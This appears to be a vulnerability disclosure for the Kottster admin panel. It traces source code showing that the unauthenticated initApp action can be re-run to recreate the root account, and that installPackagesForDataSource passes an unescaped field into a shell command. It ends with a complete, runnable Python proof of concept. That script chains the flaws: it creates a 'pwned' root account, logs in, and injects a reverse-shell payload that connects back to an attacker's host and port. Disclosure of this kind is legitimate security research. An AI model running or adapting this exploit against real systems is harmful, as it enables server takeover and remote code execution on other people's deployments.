Summary

Kottster — an admin panel product that helps generate and build management pages for viewing, managing, and visualizing data — contains a pre-authentication remote code execution (Pre-Auth RCE) vulnerability when running in Development (Dev) mode. The issue arises from unescaped command arguments and insufficient revalidation of initial configuration settings.

How the actions works

  public getInternalApiRoute() {
    return async (req: Request, res: Response, next: NextFunction) => {
      if (req.method === 'GET') {
        next();
        return;
      }

      try {
        const result = await this.handleInternalApiRequest(req);

        if (result) {
          res.setHeader('Content-Type', 'application/json');
          res.status(200).json(result);
          return;
        } else {
          res.status(404).json({ error: 'Not Found' });
          return;
        }
      } catch (error) {
        if (error instanceof HttpException) {
          res.status(error.statusCode).json({
            status: 'error',
            statusCode: error.statusCode,
            message: error.message
          });
          return;
        }

        console.error('Internal API error:', error);
        res.status(500).json({ error: 'Internal Server Error' });
        return;
      }
    }
  }

To analyze the logic that handles internal APIs, you should look at the getInternalApiRoute() function. In the getInternalApiRoute() function, the req object is passed to the handleInternalApiRequest() function.

  private async handleInternalApiRequest(request: Request): Promise<{
    status: 'success' | 'error';
    result?: any;
    error?: string;
  }> {
    try {
      const { isTokenValid, invalidTokenErrorMessage, user } = await this.ensureValidToken(request);

      const action = request.query.action as keyof InternalApiSchema | undefined;
      const actionData = request.body;

      if (!action) {
        throw new Error('Action not found in request');
      }

      if (!isTokenValid && action && !(['getApp', 'initApp', 'login'] as (keyof InternalApiSchema)[]).includes(action)) {
        throw new UnauthorizedException(`Invalid JWT token: ${invalidTokenErrorMessage}`);
      }

      return {
        status: 'success',
        result: await this.executeAction(action, actionData, user ?? undefined, request),
      };
    } catch (error) {
      // If the error is an instance of HttpException, we can rethrow it
      if (error instanceof HttpException) {
        throw error;
      }

      console.error('Kottster API error:', error);

      return {
        status: 'error',
        error: error.message,
      };
    }
  }

Inside the handleInternalApiRequest() function, a JWT token is designed (issued) and its validity is verified. If the token is invalid — meaning the user is not logged in — only the actions ‘getApp’, ‘initApp’, and ‘login’ can be invoked. The initApp action functions as an initial setup process, similar to common CMS platforms, where it performs basic configuration during the first run. In most CMS systems, this feature is removed after the initial setup is completed.

After that, the executeAction() function is called to process and execute the internal API request.

  public async executeAction(action: string, data: any, user?: IdentityProviderUser, req?: Request): Promise<any> {
    return await ActionService.getAction(this, action).executeWithCheckings(data, user, req);
  }

The executeAction() function internally calls the getAction() function. By examining the code of the getAction() function below, it can be seen that various actions are defined within it.

export class ActionService {
  static getAction(app: KottsterApp, action: string): Action | DevAction {
    switch (action) {
      case 'getApp':
        return new GetApp(app);
      case 'login':
        return new Login(app);
      case 'getDataSources':
        return new GetDataSources(app);
      case 'getDataSourceSchema':
        return new GetDataSourceSchema(app);
      case 'initApp':
        return new InitApp(app);
      case 'updateAppSchema':
        return new UpdateAppSchema(app);
      case 'createPage':
        return new CreatePage(app);
      case 'generateSql':
        return new GenerateSql(app);
      case 'updatePage':
        return new UpdatePage(app);
      case 'deletePage':
        return new DeletePage(app);
      case 'addDataSource':
        return new AddDataSource(app);
      case 'removeDataSource':
        return new RemoveDataSource(app);
      case 'installPackagesForDataSource':
        return new InstallPackagesForDataSource(app);
      case 'getProjectSettings':
        return new GetProjectSettings(app);
      case 'getUsers':
        return new GetUsers(app);
      case 'createUser':
        return new CreateUser(app);
      case 'updateUser':
        return new UpdateUser(app);
      case 'deleteUser':
        return new DeleteUser(app);
      case 'createRole':
        return new CreateRole(app);
      case 'updateRole':
        return new UpdateRole(app);
      case 'deleteRole':
        return new DeleteRole(app);
      case 'changePassword':
        return new ChangePassword(app);
      case 'logOutAllSessions':
        return new LogOutAllSessions(app);
      case 'getKottsterContext':
        return new GetKottsterContext(app);
      default:
        throw new Error(`Action ${action} not found`);
    }
  }
}

How to trigger RCE

export class InstallPackagesForDataSource extends DevAction {
  public async execute(data: InternalApiBody<'installPackagesForDataSource'>): Promise<InternalApiResult<'installPackagesForDataSource'>> {
    return new Promise((resolve, reject) => {
      const { type } = data;

      const command = this.getCommand(type);
      exec(command, { cwd: PROJECT_DIR }, (error) => {
        if (error) {
          console.error(`Error executing command: ${error}`);
          reject(error);
          return;
        }

        resolve();
      });
    });
  }

  private getCommand(type: DataSourceType) {
    console.log( `npm run dev:add-data-source ${type} -- --skipFileGeneration; id`)
    return `npm run dev:add-data-source ${type} -- --skipFileGeneration`;
  }
}

The installPackagesForDataSource action takes the provided command arguments and sets them as arguments to an npm command. However, because these arguments are not shell-escaped, a command injection vulnerability can occur.

That said, the installPackagesForDataSource action can only be invoked by an authenticated user account, and user accounts can only be created by administrators — which limits an attacker’s ability to exploit this issue unless they first obtain valid credentials.

How to chain to Pre-Auth

      if (!isTokenValid && action && !(['getApp', 'initApp', 'login'] as (keyof InternalApiSchema)[]).includes(action)) {
        throw new UnauthorizedException(`Invalid JWT token: ${invalidTokenErrorMessage}`);
      }

An interesting observation: as noted earlier, unauthenticated users are permitted to invoke the getApp, initApp, and login actions.

export class InitApp extends DevAction {
  public async execute({ name, rootUsername, rootPassword }: InternalApiBody<'initApp'>): Promise<InternalApiResult<'initApp'>> {
    const fileWrtier = new FileWriter({ usingTsc: this.app.usingTsc });
    const id = randomUUID();

    // Get API token from Kottster API
    let apiToken: string | undefined = undefined;
    try {
      const kottsterApi = new KottsterApi();
      const res = await kottsterApi.createApp();
      apiToken = res?.apiToken;
    } catch (error) {
      console.error('Failed to obtain API token from Kottster API. Some features that require Kottster API access will not work.', error);
    }

    const secretKey = generateRandomString(32);
    const jwtSecretSalt = generateRandomString(16);
    fileWrtier.writeAppServerFile(
      secretKey, 
      jwtSecretSalt,
      apiToken,
      rootUsername, 
      rootPassword
    );
    fileWrtier.writeSchemaJsonFile({
      id,
      meta: {
        name,
        icon: 'https://web.kottster.app/icon.png',
      },
    });

    // We have to build a jwt secret here because identity provider is not yet initialized when this action runs
    const jwtSecret = `${id}${secretKey}${jwtSecretSalt}`;
    const rootUserJwtToken = await this.app.identityProvider.generateTokenForRootUser(86400, jwtSecret);

    return {
      rootUserJwtToken,
    };
  }
}

The initApp action performs initial setup and therefore should be removed or disabled at the application level after the first-time configuration. However, the code contains no check to determine whether the application has already been configured. This implies that anyone can re-run the initialization process, which allows recreation of an administrator account and potential takeover of the application. Such an account takeover can be chained to the Pre-Auth RCE to achieve remote code execution without prior authentication.

PoC Code

import requests
import sys
import json
import time

url = sys.argv[1]
action = ["initApp", "login", "installPackagesForDataSource"]
api_endpoint = "/internal-api?action={}"
attacker = sys.argv[2]
port = sys.argv[3]

headers = {
    "Content-Type": "application/json"
}

def gen_payload(attacker, port):
    return """asdf;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""".format(attacker, port)

def intro():
    print(""" _   __      _   _       _                                        
| | / /     | | | |     | |                                       
| |/ /  ___ | |_| |_ ___| |_ ___ _ __                             
|    \ / _ \| __| __/ __| __/ _ \ '__|                            
| |\  \ (_) | |_| |_\__ \ ||  __/ |_                              
\_| \_/\___/ \__|\__|___/\__\___|_( )                             
                                  |/                              
                                                                  
______                 ___        _   _      ______  _____  _____ 
| ___ \               / _ \      | | | |     | ___ \/  __ \|  ___|
| |_/ / __ ___ ______/ /_\ \_   _| |_| |__   | |_/ /| /  \/| |__  
|  __/ '__/ _ \______|  _  | | | | __| '_ \  |    / | |    |  __| 
| |  | | |  __/      | | | | |_| | |_| | | | | |\ \ | \__/\| |___ 
\_|  |_|  \___|      \_| |_/\__,_|\__|_| |_| \_| \_| \____/\____/ 
                                                                  
                                                                   """)

def exploit():
    intro()
    res = requests.post(url + api_endpoint.format(action[0]), data=json.dumps({"name":"asdfasdf", "rootUsername":"pwned", "rootPassword":"pwned"}), headers={"Content-Type": "application/json"}).json()
    time.sleep(2)

    rootJwtToken = res['result']['rootUserJwtToken']
    if rootJwtToken:
        print("[+] The account 'pwned/pwned' has been successfully created")
        userJwtToken = requests.post(url + api_endpoint.format(action[1]), data=json.dumps({"usernameOrEmail":"pwned", "password":"pwned"}), headers=headers).json()
        userJwtToken = userJwtToken["result"]["userJwtToken"]
        print(userJwtToken)
        headers["Authorization"] = userJwtToken

        print("[+] Reverse shell connection established")
        requests.post(url + api_endpoint.format(action[2]), data=json.dumps({"type": gen_payload(attacker, port)}), headers=headers).text

if __name__ == '__main__':
    exploit()

image.png